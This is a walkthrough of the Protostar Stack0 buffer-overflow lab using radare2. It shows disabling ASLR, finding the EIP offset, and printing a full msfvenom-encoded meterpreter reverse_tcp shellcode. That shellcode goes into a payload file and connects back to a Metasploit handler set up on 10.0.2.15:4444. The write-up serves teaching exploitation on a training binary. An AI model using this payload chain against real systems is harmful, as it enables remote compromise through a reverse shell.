Exploiting Protostar Stack0 using radare2

2017, Dec 16    

Exploiting Protostar Stack0

Problem link

Note: In this exercise I will try to take it one step further and get a reverse shell on the system, event if this is not the main goal of Protostar exercises, I will try it anyway (You can just ignore the shell part anyway)

A word about Radare2 (The tool we will use today)

radare2 is an open source framework for reverse engineering and binaries analysis which implements a rich command line interface for disassembling, analyzing data, patching binaries, comparing data, searching, replacing, visualizing and more.

It has great scripting capabilities, it runs on all major platforms (GNU/Linux, .Windows *BSD, iOS, OSX, Solaris…) and it supports tons of architectures and file formats. But maybe above all of its features stands the ideology.

Problem source code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

Our target

Of course as usual our target is to gain root shell on the system.

First let’s examine our target and see what we have

We will use a tool called rabin2 from radare2 to show us infos about the binary, also we want to see what security this binary has.

$ rabin2 -I stack0
arch     x86
binsz    22412
bintype  elf
bits     32
canary   false
class    ELF32
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       false
os       linux
pcalign  0
pic      false
relocs   true
relro    no
rpath    NONE
static   false
stripped false
subsys   linux
va       true

As you can clearly see, our binary is a 32bit ELF file, not stripped, the file isn’t protected with canaries , pic, nx or relro.

Now let’s run it and see what the program does.

$ ./stack0
AAAAAA
Try again?

##Now let's try to break it
$ ./stack0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
you have changed the 'modified' variable
[1]    28818 segmentation fault  ./stack0

So if we passed a short input it will give us ‘Try again?’ message, but if we passed a long input we will get a ‘segmentation fault’ and a success message ‘you have changed the ‘modified’ variable’

We noticed that the binary does not have any security on it, So we will disable our local kernel security to make it easier for us

$ sudo bash -c 'echo "kernel.randomize_va_space = 0" >> /etc/sysctl.conf'
$ sudo sysctl -p
$ cat /proc/sys/kernel/randomize_va_space
0
$ ulimit -c unlimited
$ ulimit -c
unlimited

Now it’s time to quickly go through the flow of the program, this time we’ll look at the disassembly (we won’t always have the source code). Open the program in debug mode using radare2:

$ r2 -d stack0
Process with PID 30754 started...
= attach 30754 30754
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
[0xb7fdba30]> aas
  • -d – Open in the debug mode
  • aas – Analyze functions, symbols and more

Now continue untill main function

[0xb7fdba30]> dcu main
Continue until 0x080483f4 using 1 bpsize
hit breakpoint at: 80483f4
  • dcu stands for debug continue until

Now let’s enter the Visual Graph Mode by pressing VV. you can toggle views using p and P, move Left/Down/Up/Right using h/j/k/l respectively and jump to a function using g and the key shown next to the jump call (e.g gb).

Now let’s start exploiting this binary

We will use one two other radare2 tools rarun2 and ragg2

  • We’ll use a tool in radare’s framework called ragg2, which allows us to generate a cyclic pattern called De Bruijn Sequence and check the exact offset where our payload overrides the buffer.
  • We know that our binary is taking user input via stdin, instead of copy-pate our input to the shell, we’ll use rarun2.
$ ragg2 -P 500 -r > payload.txt
$ cat payload.txt
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATA...nACoACpACqACrACsA

Now we will create rarun2 profile

$ vim r2profile.rr2
$ cat r2profile.rr2
#!/usr/bin/rarun2
stdin=./payload.txt

Now let’s debug the app using this profile

$ r2 -d stack0 -e dbg.profile=r2profile.rr2
Process with PID 30649 started...
= attach 30649 30649
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
[0xb7fdba30]> dc
you have changed the 'modified' variable
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41416241 code=1 ret=0
[0x41416241]>

We executed our binary and passed the content of pattern.txt to stdin with rarun2 and received SIGNAL 11.

A signal is an asynchronous notification sent to a process or to a specific thread within the same process in order to notify it of an event that occurred.

The SIGSEGV (11) signal is sent to a process when it makes an invalid virtual memory reference, or segmentation fault, i.e. when it performs a segmentation violation.

Did you notice that now our prompt points to 0x41416241? This is an invalid address which represents ‘AAbA’ (ascii), a fragment from our pattern. radare allows us to find the offset of a given value in De Bruijn pattern.

[0x41416241]> wopO eip
80

Now that we know that the override of the return address occurs after 80 bytes, we can begin crafting our payload.

Now let’s double check that we control the $eip

$ python -c 'print "A" * 80 + "B" * 4 + "C" * (500 - 4 - 80)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCC....CCCCCCC
$ python -c 'print "A" * 80 + "B" * 4 + "C" * (500 - 4 - 80)' > payload.txt
$ r2 -d stack0 -e dbg.profile=r2profile.rr2
Process with PID 9674 started...
= attach 9674 9674
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
[0xb7fdba30]> dc
you have changed the 'modified' variable
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x42424242 code=1 ret=0
[0x42424242]>

Now we can see the $eip = 0x42424242 which is ‘BBBB’ in hex. So now we’re sure we control the eip.

Lets have a look on the Stack and CPU registers

[0x42424242]> drr
   eax 0x00000029  eax ascii
   ebx 0x00000000  ebx
   ecx 0xfbad0084  ecx
   edx 0xb7f9d870  (unk0) edx R W X 'add byte [eax], al' 'unk0'
   esi 0x00000001  esi
   edi 0xb7f9c000  (/lib/i386-linux-gnu/libc-2.25.so) edi library R W X 'mov al, 0x9d' 'libc-2.25.so'
   esp 0xbffff6a0  esp stack R W X 'inc ebx' '[stack]' (CCCCCCCCCCCCCCCCCC...CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC)
   ebp 0x41414141  ebp ascii
   eip 0x42424242  eip ascii
   xfs 0x00000000  ebx
   xgs 0x00000033  ascii
   xcs 0x00000073  ascii
   xss 0x00000073  ascii
eflags      1PZIV  eflags
  oeax 0xffffffff  oeax
  • drr debug register references (telescoping)
$ msfvenom -p linux/x86/meterpreter/reverse_tcp  -e x86/shikata_ga_nai -b '\x00' -n 26 -i 3 -f python
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 150 (iteration=0)
x86/shikata_ga_nai succeeded with size 177 (iteration=1)
x86/shikata_ga_nai succeeded with size 204 (iteration=2)
x86/shikata_ga_nai chosen with final size 204
Successfully added NOP sled from x86/single_byte
Payload size: 230 bytes
Final size of python file: 1110 bytes
buf =  ""
buf += "\x3f\x4a\x2f\x40\x3f\xf5\x4a\x92\xfc\x91\xf5\x41\x99"
buf += "\x27\xfc\x27\xf9\x37\x42\x3f\xf5\x4b\x48\x2f\x9f\x49"
buf += "\xb8\x23\x55\x58\xf9\xd9\xc4\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x2d\x83\xee\xfc\x31\x46\x0f\x03\x46\x2c\xb7"
buf += "\xad\x23\xf5\x8d\x98\x35\xeb\x2e\xfd\xc2\x2f\x25\xa6"
buf += "\x1b\xe6\x74\x71\x6d\xa8\x6f\x7d\xdd\x51\x13\x69\x21"
buf += "\x55\x07\xc6\xaf\x3e\xbc\x83\x03\x58\x39\xc9\xe3\x32"
buf += "\x1b\xaf\xa5\xe1\x25\x37\x07\xb3\xd3\xa3\x99\xe0\x9b"
buf += "\x92\x21\x92\xa2\x33\xf4\x0e\x36\x40\x6f\x45\x03\x12"
buf += "\x7b\xd3\xdf\x01\xfe\xab\xf9\xe6\x92\x26\x52\xde\xee"
buf += "\xf6\x4c\xec\x61\x75\xd5\x78\x76\x88\x76\x6a\x67\x8b"
buf += "\x55\x89\xf5\x37\x69\x7c\x94\x49\xf9\x29\x13\x8f\x46"
buf += "\xde\x06\xe7\xf4\x8d\x0c\x49\x0c\xcc\x21\x4c\xcd\xab"
buf += "\xd2\x25\xee\x3e\xb7\x7a\xce\x09\x57\xe8\x17\x75\x7f"
buf += "\xbd\x85\xce\x1f\x92\x9d\x0a\x23\xaf\xf1\x36\x87\x48"
buf += "\xc0\xc3\x5d\xb8\x38\xc1\xab\x0e\xfc\x0b\x8f\xce\x8d"
buf += "\x73\x8c\x45\x2e\xb2\x1f\x0d\x27\xc4\xe2\x98\xbd\xfd"
buf += "\xe9\x64\xd4\xfc\xd0\xbf\x3f\x81\x84"

We noticed that $esp is the same every crash so we will use it

# esp = 0xbffff6a0

buf =  "\x41" * 80
buf += "\xa0\xf6\xff\xbf"
buf += "\x3f\x4a\x2f\x40\x3f\xf5\x4a\x92\xfc\x91\xf5\x41\x99"
buf += "\x27\xfc\x27\xf9\x37\x42\x3f\xf5\x4b\x48\x2f\x9f\x49"
buf += "\xb8\x23\x55\x58\xf9\xd9\xc4\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x2d\x83\xee\xfc\x31\x46\x0f\x03\x46\x2c\xb7"
buf += "\xad\x23\xf5\x8d\x98\x35\xeb\x2e\xfd\xc2\x2f\x25\xa6"
buf += "\x1b\xe6\x74\x71\x6d\xa8\x6f\x7d\xdd\x51\x13\x69\x21"
buf += "\x55\x07\xc6\xaf\x3e\xbc\x83\x03\x58\x39\xc9\xe3\x32"
buf += "\x1b\xaf\xa5\xe1\x25\x37\x07\xb3\xd3\xa3\x99\xe0\x9b"
buf += "\x92\x21\x92\xa2\x33\xf4\x0e\x36\x40\x6f\x45\x03\x12"
buf += "\x7b\xd3\xdf\x01\xfe\xab\xf9\xe6\x92\x26\x52\xde\xee"
buf += "\xf6\x4c\xec\x61\x75\xd5\x78\x76\x88\x76\x6a\x67\x8b"
buf += "\x55\x89\xf5\x37\x69\x7c\x94\x49\xf9\x29\x13\x8f\x46"
buf += "\xde\x06\xe7\xf4\x8d\x0c\x49\x0c\xcc\x21\x4c\xcd\xab"
buf += "\xd2\x25\xee\x3e\xb7\x7a\xce\x09\x57\xe8\x17\x75\x7f"
buf += "\xbd\x85\xce\x1f\x92\x9d\x0a\x23\xaf\xf1\x36\x87\x48"
buf += "\xc0\xc3\x5d\xb8\x38\xc1\xab\x0e\xfc\x0b\x8f\xce\x8d"
buf += "\x73\x8c\x45\x2e\xb2\x1f\x0d\x27\xc4\xe2\x98\xbd\xfd"
buf += "\xe9\x64\xd4\xfc\xd0\xbf\x3f\x81\x84"
buf +=  "\x43" * (500 - 80 - 4 - 185)

with open ('payload.txt', 'w') as f:
  f.write(buf)

Before we fire our exploit we need to set our handler first, open new terminal and write

$ msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 10.0.2.15
lhost => 10.0.2.15
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > exploit -j
[*] Exploit running as background job 0.
[*] [2017.12.18-12:02:28] Started reverse TCP handler on 10.0.2.15:4444

Now move to first terminal

[root:~/Downloads]# r2 -d stack0 -e dbg.profile=r2profile.rr2
Process with PID 15566 started...
= attach 15566 15566
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
[0xb7fdba30]> dc
you have changed the 'modified' variable
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 ret=0
[0xbffff75c]>

And notice the reverse shell we get in the second terminal

msf exploit(handler) >
[*] [2017.12.18-12:42:40] Encoded stage with x86/shikata_ga_nai

Buffer-Overflow-Exploit

A JOURNEY INTO RADARE 2 – PART 1: SIMPLE CRACKME

A JOURNEY INTO RADARE 2 – PART 2: EXPLOITATION

radare2 cheat sheet

GDB cheat sheet

64/32 JMP instructions

x86 assembly x86 architecture

Intel Assembler 80186 and higher CodeTable

msfvenom tutorial